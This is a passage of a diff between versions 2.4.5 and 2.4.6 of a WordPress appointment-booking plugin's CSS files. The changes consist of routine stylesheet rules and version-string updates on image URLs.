.mpa-booking-step-period .mpa-time-wrapper{display:flex;flex-wrap:wrap;justify-content:center}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper{flex:1 0 auto}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-times-container{position:relative;width:100%;height:100%}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-times{overflow:auto;max-height:400px}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-times{position:absolute;top:0;bottom:0;left:0;right:0;max-height:100%}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-time-period{width:calc(100% - 10px);margin:0 5px 10px;padding:10px 5px}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-two-columns .mpa-time-period{width:calc(50% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-three-columns .mpa-time-period{width:calc(33.3333333333% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-four-columns .mpa-time-period{width:calc(25% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-five-columns .mpa-time-period{width:calc(20% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-period-end-time{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-show-end-time .mpa-period-end-time{display:inline}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-slot-capacity{display:block}.mpa-edit-reservations-ctrl .mpa-booking-step-cart .mpa-cart-item-template{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart .column-actions{width:25px}.mpa-edit-reservations-ctrl .mpa-booking-step-cart .column-actions .dashicons{cursor:pointer}.mpa-edit-reservations-ctrl .mpa-booking-step-cart.editable .mpa-reservation-clients-count{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart.editable .mpa-actions .mpa-button-edit{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.editable) .column-actions{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.editable) .mpa-reservation-clients select{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.editable) .mpa-button-new{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.mpa-loaded){position:relative}.mpa-payment-details-ctrl .mpa-payments{width:100%;border-collapse:collapse}@media screen and (min-width: 768px){.mpa-payment-details-ctrl .mpa-payments{max-width:47em}}.mpa-payment-details-ctrl .mpa-payments th{font-weight:500}.mpa-payment-details-ctrl .mpa-payments td,.mpa-payment-details-ctrl .mpa-payments th{padding:.85em;border:1px solid #d1d1d1;border-collapse:collapse;border-spacing:0;text-align:left}.mpa-payment-details-ctrl .mpa-payments td:last-child,.mpa-payment-details-ctrl .mpa-payments th:last-child{text-align:right}.mpa-payment-details-ctrl .mpa-payments td:only-child,.mpa-payment-details-ctrl .mpa-payments th:only-child{text-align:left}.mpa-payment-details-ctrl .mpa-add-payment-button{margin-top:1em}.mpa-service-variations-ctrl table .column-actions{width:5%}.mpa-service-variations-ctrl .mpa-remove-button{cursor:pointer}.mpa-timetable-ctrl .mpa-days-container{width:100%;display:flex}.mpa-timetable-ctrl .mpa-days-container .mpa-day-container{width:14.2857142857%;padding:1px}.mpa-timetable-ctrl .mpa-days-container .mpa-day-container .mpa-day-header{padding:10px;margin:0 0 2px;font-size:1.2em;line-height:1.5em;font-weight:bold;text-align:center;background-color:#faebd7}.mpa-timetable-ctrl .mpa-day-periods{padding:0;vertical-align:top}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period{padding:10px;margin-bottom:2px;background-color:#f0f8ff}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-remove-button{float:right;cursor:pointer;opacity:0}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period:hover .mpa-remove-button{opacity:1}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-period-activity,.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-period-location{display:inline-block;font-style:italic}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-period-location a{display:inline-block}.mpa-timetable-ctrl .mpa-controls .button{margin-right:8px}.mpa-timetable-ctrl .mpa-edit-table.mpa-hide+.mpa-controls .mpa-cancel-button{display:none}.mpa-employee-user-ctrl input{margin:5px 0;padding:6px 8px;border-radius:4px;border:1px solid #888}.mpa-color-picker-ctrl .sp-replacer{padding:0}.mpa-color-picker-ctrl .sp-replacer .sp-preview{border:none;margin:auto}.mpa-color-picker-ctrl .sp-replacer .sp-dd{height:auto}.mpa-color-picker-ctrl .sp-container{border:none}.mpa-color-picker-ctrl .sp-container .sp-picker-container,.mpa-color-picker-ctrl .sp-container .sp-palette-container{margin:auto}.iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags.png\")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags@2x.png\")}}.mpa-checkout-form .iti{width:100%}.mpa-phone-number--invalid{border-color:red;color:red}.mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}.mpa-time-period-ctrl select{margin-left:1em}.mpa-time-period-ctrl select:first-child{margin-left:0}.mpa-employee-google-calendar__status{text-align:center;padding:5px;color:green;font-weight:bold}.mpa-employee-google-calendar__connect-btn{text-align:center;margin-top:25px}.mpa-employee-google-calendar__connect-btn a{color:#2271b1;border-color:#2271b1;background:#f6f7f7;padding:6px;text-align:center;display:inline-block;text-decoration:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.mpa-employee-google-calendar__connect-btn a:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}.post-type-mpa_booking #post-body-content{display:none}\n\\ No newline at end of file\n+.wp-core-ui .icon-button{display:flex;align-items:center;padding:5px}.wrap h2.wp-heading-inline{display:inline-block;margin-right:5px;margin-bottom:.25em}.wrap h2.wp-heading-inline+.page-title-action{top:-1px}#poststuff h2.mpa-fields-group-title{font-size:1.3em;line-height:1.3;font-weight:600;margin:1em 0;padding:0}.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.6\"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.6\")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.mpa_tooltip{position:relative;display:inline-block}.mpa_tooltip:hover:after{content:attr(data-tooltip);position:absolute;bottom:calc(100% + 5px);left:0;font-size:10px;white-space:nowrap;background:#333;color:#fff;padding:3px 6px;border-radius:2px;z-index:9999;pointer-events:none;opacity:0;transition:opacity .1s;visibility:hidden}.mpa_tooltip:hover:before{content:\"\";position:absolute;bottom:100%;left:50%;transform:translateX(-50%) translateY(5px);border-width:5px;border-style:solid;border-color:#333 rgba(0,0,0,0) rgba(0,0,0,0) rgba(0,0,0,0);z-index:9999;pointer-events:none}.mpa_tooltip:hover:after,.mpa_tooltip:hover:before{opacity:1;visibility:visible}.mpa-dropdown{position:relative}.mpa-dropdown.page-title-dropdown{display:inline-block;position:relative;top:-8px;margin-left:0;font-weight:600;font-size:13px;line-height:normal}.mpa-dropdown .dropdown-toggle{min-height:28px;line-height:normal}.mpa-dropdown .dropdown-toggle::after{content:\"\";display:inline-block;width:0;height:0;margin-left:.35em;vertical-align:.15em;border-top:.45em solid;border-right:.35em solid rgba(0,0,0,0);border-bottom:0;border-left:.35em solid rgba(0,0,0,0)}.mpa-dropdown .dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.mpa-dropdown .dropdown-menu.show{display:block}.mpa-dropdown .dropdown-item{display:block;box-sizing:border-box;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;text-align:inherit;text-decoration:none;white-space:nowrap;background-color:rgba(0,0,0,0);border:0}.mpa-dropdown .dropdown-item:hover{background-color:#f8f9fa}.mpa-attributes-ctrl table .column-actions{width:5%}.mpa-attributes-ctrl .mpa-remove-button{cursor:pointer}.mpa-custom-workdays-ctrl table .column-actions{width:20%;text-align:center}.mpa-days-off-ctrl table .column-actions{width:20%;text-align:center}.mpa-edit-reservations-ctrl{display:flex;flex-wrap:wrap;position:relative}.mpa-edit-reservations-ctrl:not(.mpa-loaded),.mpa-edit-reservations-ctrl .mpa-booking-step:not(.mpa-loaded){min-height:52px;position:relative}.mpa-edit-reservations-ctrl label,.mpa-edit-reservations-ctrl select,.mpa-edit-reservations-ctrl input[type=text],.mpa-edit-reservations-ctrl input[type=email],.mpa-edit-reservations-ctrl input[type=tel]{width:100%}.mpa-edit-reservations-ctrl select,.mpa-edit-reservations-ctrl input[type=text],.mpa-edit-reservations-ctrl input[type=email],.mpa-edit-reservations-ctrl input[type=tel]{display:block}.mpa-edit-reservations-ctrl .mpa-message{width:100%}.mpa-edit-reservations-ctrl .mpa-actions{margin-top:1.5em}.mpa-edit-reservations-ctrl .mpa-booking-step{width:100%}.mpa-edit-reservations-ctrl .mpa-booking-step{width:100%}.mpa-edit-reservations-ctrl .mpa-booking-step .mpa-actions{margin-top:1em}.mpa-edit-reservations-ctrl .mpa-booking-step-service-form{max-width:100%}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-service-form{width:50%}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container{display:flex;flex-wrap:wrap;margin:0 -10px}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container{flex-wrap:nowrap}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{width:auto}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{padding:0 10px}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:20px}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:0}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-date-wrapper:not(.mpa-loaded){position:relative}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar{margin:0 0 0 1px;top:0;box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 0 0 rgba(0,0,0,.08)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .prevMonthDay.flatpickr-disabled,.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .nextMonthDay.flatpickr-disabled{opacity:0;cursor:default}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .cur-month,.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .numInputWrapper{pointer-events:none}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-days,.mpa-edit-reservations-ctrl .mpa-booking-step-period .dayContainer{width:100%;max-width:100%;min-width:100%}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-day{max-width:39px;height:39px;line-height:39px}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper{display:flex;flex-wrap:wrap;justify-content:center}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper{flex:1 0 auto}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-times-container{position:relative;width:100%;height:100%}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-times{overflow:auto;max-height:400px}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-times{position:absolute;top:0;bottom:0;left:0;right:0;max-height:100%}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-time-period{width:calc(100% - 10px);margin:0 5px 10px;padding:10px 5px}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-two-columns .mpa-time-period{width:calc(50% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-three-columns .mpa-time-period{width:calc(33.3333333333% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-four-columns .mpa-time-period{width:calc(25% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-five-columns .mpa-time-period{width:calc(20% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-period-end-time{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-show-end-time .mpa-period-end-time{display:inline}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-slot-capacity{display:block}.mpa-edit-reservations-ctrl .mpa-booking-step-cart .mpa-cart-item-template{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart .column-actions{width:25px}.mpa-edit-reservations-ctrl .mpa-booking-step-cart .column-actions .dashicons{cursor:pointer}.mpa-edit-reservations-ctrl .mpa-booking-step-cart.editable .mpa-reservation-clients-count{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart.editable .mpa-actions .mpa-button-edit{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.editable) .column-actions{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.editable) .mpa-reservation-clients select{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.editable) .mpa-button-new{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.mpa-loaded){position:relative}.mpa-payment-details-ctrl .mpa-payments{width:100%;border-collapse:collapse}@media screen and (min-width: 768px){.mpa-payment-details-ctrl .mpa-payments{max-width:47em}}.mpa-payment-details-ctrl .mpa-payments th{font-weight:500}.mpa-payment-details-ctrl .mpa-payments td,.mpa-payment-details-ctrl .mpa-payments th{padding:.85em;border:1px solid #d1d1d1;border-collapse:collapse;border-spacing:0;text-align:left}.mpa-payment-details-ctrl .mpa-payments td:last-child,.mpa-payment-details-ctrl .mpa-payments th:last-child{text-align:right}.mpa-payment-details-ctrl .mpa-payments td:only-child,.mpa-payment-details-ctrl .mpa-payments th:only-child{text-align:left}.mpa-payment-details-ctrl .mpa-add-payment-button{margin-top:1em}.mpa-service-variations-ctrl table .column-actions{width:5%}.mpa-service-variations-ctrl .mpa-remove-button{cursor:pointer}.mpa-timetable-ctrl .mpa-days-container{width:100%;display:flex}.mpa-timetable-ctrl .mpa-days-container .mpa-day-container{width:14.2857142857%;padding:1px}.mpa-timetable-ctrl .mpa-days-container .mpa-day-container .mpa-day-header{padding:10px;margin:0 0 2px;font-size:1.2em;line-height:1.5em;font-weight:bold;text-align:center;background-color:#faebd7}.mpa-timetable-ctrl .mpa-day-periods{padding:0;vertical-align:top}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period{padding:10px;margin-bottom:2px;background-color:#f0f8ff}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-remove-button{float:right;cursor:pointer;opacity:0}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period:hover .mpa-remove-button{opacity:1}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-period-activity,.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-period-location{display:inline-block;font-style:italic}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-period-location a{display:inline-block}.mpa-timetable-ctrl .mpa-controls .button{margin-right:8px}.mpa-timetable-ctrl .mpa-edit-table.mpa-hide+.mpa-controls .mpa-cancel-button{display:none}.mpa-employee-user-ctrl input{margin:5px 0;padding:6px 8px;border-radius:4px;border:1px solid #888}.mpa-color-picker-ctrl .sp-replacer{padding:0}.mpa-color-picker-ctrl .sp-replacer .sp-preview{border:none;margin:auto}.mpa-color-picker-ctrl .sp-replacer .sp-dd{height:auto}.mpa-color-picker-ctrl .sp-container{border:none}.mpa-color-picker-ctrl .sp-container .sp-picker-container,.mpa-color-picker-ctrl .sp-container .sp-palette-container{margin:auto}.iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags.png\")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags@2x.png\")}}.mpa-checkout-form .iti{width:100%}.mpa-phone-number--invalid{border-color:red;color:red}.mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}.mpa-time-period-ctrl select{margin-left:1em}.mpa-time-period-ctrl select:first-child{margin-left:0}.mpa-employee-google-calendar__status{text-align:center;padding:5px;color:green;font-weight:bold}.mpa-employee-google-calendar__connect-btn{text-align:center;margin-top:25px}.mpa-employee-google-calendar__connect-btn a{color:#2271b1;border-color:#2271b1;background:#f6f7f7;padding:6px;text-align:center;display:inline-block;text-decoration:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.mpa-employee-google-calendar__connect-btn a:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}.post-type-mpa_booking #post-body-content{display:none}\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fmanage-posts.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fmanage-posts.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fmanage-posts.css\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fmanage-posts.css\t2026-06-30 15:16:08.000000000 +0000\n@@ -15,7 +15,7 @@\n   left: 0;\n   width: 100%;\n   height: 100%;\n-  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"), rgba(255, 255, 255, 0.5);\n+  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.6\"), rgba(255, 255, 255, 0.5);\n   background-size: 32px 32px;\n   z-index: 9000;\n }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fmanage-posts.min.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fmanage-posts.min.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fmanage-posts.min.css\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fmanage-posts.min.css\t2026-06-30 15:16:08.000000000 +0000\n@@ -1 +1 @@\n-.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-dropdown{position:relative}.mpa-dropdown.page-title-dropdown{display:inline-block;position:relative;top:-8px;margin-left:0;font-weight:600;font-size:13px;line-height:normal}.mpa-dropdown .dropdown-toggle{min-height:28px;line-height:normal}.mpa-dropdown .dropdown-toggle::after{content:\"\";display:inline-block;width:0;height:0;margin-left:.35em;vertical-align:.15em;border-top:.45em solid;border-right:.35em solid rgba(0,0,0,0);border-bottom:0;border-left:.35em solid rgba(0,0,0,0)}.mpa-dropdown .dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.mpa-dropdown .dropdown-menu.show{display:block}.mpa-dropdown .dropdown-item{display:block;box-sizing:border-box;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;text-align:inherit;text-decoration:none;white-space:nowrap;background-color:rgba(0,0,0,0);border:0}.mpa-dropdown .dropdown-item:hover{background-color:#f8f9fa}.tablenav .actions{margin-bottom:.7em;padding-right:0}.tablenav .actions select{max-width:8rem}.mpa-entity-table-filter{float:left;margin-right:6px}.mpa-entity-table-filter input[type=date]{width:auto;display:inline-block;position:relative}.mpa-entity-table-filter input[type=date]::-webkit-calendar-picker-indicator{background:rgba(0,0,0,0);bottom:0;color:rgba(0,0,0,0);cursor:pointer;height:auto;left:0;position:absolute;right:0;top:0;width:auto}.mpa-export-progress-bar{width:100%;display:block;clear:both;margin:1em 0}.mpa-export-progress-bar label{font-weight:bold}.mpa-export-progress-bar #mpa-export-progress-bar{width:100%}\n\\ No newline at end of file\n+.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.6\"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-dropdown{position:relative}.mpa-dropdown.page-title-dropdown{display:inline-block;position:relative;top:-8px;margin-left:0;font-weight:600;font-size:13px;line-height:normal}.mpa-dropdown .dropdown-toggle{min-height:28px;line-height:normal}.mpa-dropdown .dropdown-toggle::after{content:\"\";display:inline-block;width:0;height:0;margin-left:.35em;vertical-align:.15em;border-top:.45em solid;border-right:.35em solid rgba(0,0,0,0);border-bottom:0;border-left:.35em solid rgba(0,0,0,0)}.mpa-dropdown .dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.mpa-dropdown .dropdown-menu.show{display:block}.mpa-dropdown .dropdown-item{display:block;box-sizing:border-box;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;text-align:inherit;text-decoration:none;white-space:nowrap;background-color:rgba(0,0,0,0);border:0}.mpa-dropdown .dropdown-item:hover{background-color:#f8f9fa}.tablenav .actions{margin-bottom:.7em;padding-right:0}.tablenav .actions select{max-width:8rem}.mpa-entity-table-filter{float:left;margin-right:6px}.mpa-entity-table-filter input[type=date]{width:auto;display:inline-block;position:relative}.mpa-entity-table-filter input[type=date]::-webkit-calendar-picker-indicator{background:rgba(0,0,0,0);bottom:0;color:rgba(0,0,0,0);cursor:pointer;height:auto;left:0;position:absolute;right:0;top:0;width:auto}.mpa-export-progress-bar{width:100%;display:block;clear:both;margin:1em 0}.mpa-export-progress-bar label{font-weight:bold}.mpa-export-progress-bar #mpa-export-progress-bar{width:100%}\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fpublic.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fpublic.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fpublic.css\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fpublic.css\t2026-06-30 15:16:08.000000000 +0000\n@@ -19,7 +19,7 @@\n   left: 0;\n   width: 100%;\n   height: 100%;\n-  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"), rgba(255, 255, 255, 0.5);\n+  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.6\"), rgba(255, 255, 255, 0.5);\n   background-size: 32px 32px;\n   z-index: 9000;\n }\n@@ -62,7 +62,7 @@\n   display: inline-block;\n   width: 20px;\n   height: 20px;\n-  background: no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.5\");\n+  background: no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.6\");\n }\n \n .mpa-table th {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fpublic.min.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fpublic.min.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fpublic.min.css\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fpublic.min.css\t2026-06-30 15:16:08.000000000 +0000\n@@ -1 +1 @@\n-:root{--mpa-grid-gap: 20px}.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.5\")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.mpa-grid{display:flex;flex-flow:row wrap;margin-right:calc(-1*var(--mpa-grid-gap, 20px));margin-left:calc(-1*var(--mpa-grid-gap, 20px))}.mpa-grid>.mpa-grid-column{padding:0 var(--mpa-grid-gap, 20px);margin-bottom:calc(2*var(--mpa-grid-gap, 20px));width:100%}@media(min-width: 768px){.mpa-grid>.mpa-grid-column{width:50%}}@media(min-width: 992px){.mpa-grid>.mpa-grid-column{width:16.667%}}.mpa-grid.mpa-grid-columns-1>.mpa-grid-column{width:100%}@media(min-width: 768px){.mpa-grid.mpa-grid-columns-2>.mpa-grid-column{width:50%}}@media(min-width: 768px){.mpa-grid.mpa-grid-columns-3>.mpa-grid-column{width:33%}}@media(min-width: 